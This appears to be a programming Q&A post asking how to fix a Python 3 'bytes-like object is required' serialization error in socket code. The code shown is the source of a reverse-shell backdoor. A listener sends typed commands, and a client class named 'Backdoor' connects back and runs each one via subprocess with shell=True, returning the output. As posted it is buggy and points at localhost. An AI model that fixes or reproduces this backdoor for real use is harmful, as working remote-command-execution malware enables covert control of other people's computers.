title: Socket Serialization Error , a bytes-like object is required, not 'str'
body: <p>I tried Encoding but is not working can anyone help me with the serialization in python3 <code>a bytes-like object is required, not 'str'</code></p>
  <pre><code>#!/usr/bin/python3
  
  import socket
  import json
  import pickle
  
  
  class Listener:
  
      def __init__(self,ip,port):
          listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
          listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
          listener.bind((ip,port))
          listener.listen(0)
          print(&quot;[+] Waiting for Incoming Connection&quot;)
          self.connection,address = listener.accept()
          print((&quot;[+] Got a Connection from &quot; + str(address)))
  
      def serialize_send(self, data):
          data_send = json.dumps(data)
          return self.connection.send(data_send)
  
      def serialize_receive(self):
          json_dataX = &quot;&quot;
          while True:
              try:
                  # #json_data = json_data + self.connection.recv(1024)
                  # data = self.connection.recv(1024).decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;)
                  # json_data = json_data + data 
                  # return json.loads(json_data)
  
                  json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
                  return json.loads(json.loads(json_data.decode('utf8')))
              except ValueError:
                  continue
  
      def execute_remotely(self,command):
          self.serialize_send(command)
          if command[0] == &quot;exit&quot;:
              self.connection.close()
              exit()
          return self.serialize_receive()
  
  
      def run(self):
          while True:
              comX = input(&quot;&gt;&gt; : &quot;)
              command = comX.split(&quot; &quot;)
              try:
                  sys_command = str(command[0])
                  result = self.execute_remotely(sys_command)
                      
              except Exception as errorX:
                  result = errorX
              print(result)   
  
  my_backdoor = Listener(&quot;localhost&quot;,1234)
  my_backdoor.run()
  </code></pre>
  <p>Client Code</p>
  <pre><code>#!/usr/bin/python3
  
  import socket
  import subprocess
  import json 
  import pickle
  
  
  class Backdoor:
  
      def __init__(self,ip,port):
          self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
          self.connection.connect((&quot;localhost&quot;,1234))
  
      def serialize_send(self,data):
          json_data = json.dumps(data)
          self.connection.send(json_data)
  
      def serialize_receive(self):
          json_dataX = &quot;&quot;
          while True:
              try:
                  #conn_Recv = self.connection.recv(1024)
                  #data = self.connection.recv(1024).decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;)
                  #json_data = json_dataX + data 
  
                  json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
                  return json.loads(json.loads(json_data.decode('utf8')))
              except ValueError:
                  continue
  
      def execute_system_commmand(self,command):
          return subprocess.check_output(command,shell=True)
  
      def run(self):
          while True:
              commandx = self.serialize_receive()
              command = commandx
              try:
                  if command[0] == &quot;exit&quot;:
                      self.connection.close()
                      exit()
                  else:
                      command_result = self.execute_system_commmand(command)
  
              except Exception:
                  command_result = &quot;[-] Unknown Execution.&quot;
              self.serialize_send(command_result)
  
  my_backdoor = Backdoor(&quot;localhost&quot;,1234)
  my_backdoor.run()
  </code></pre>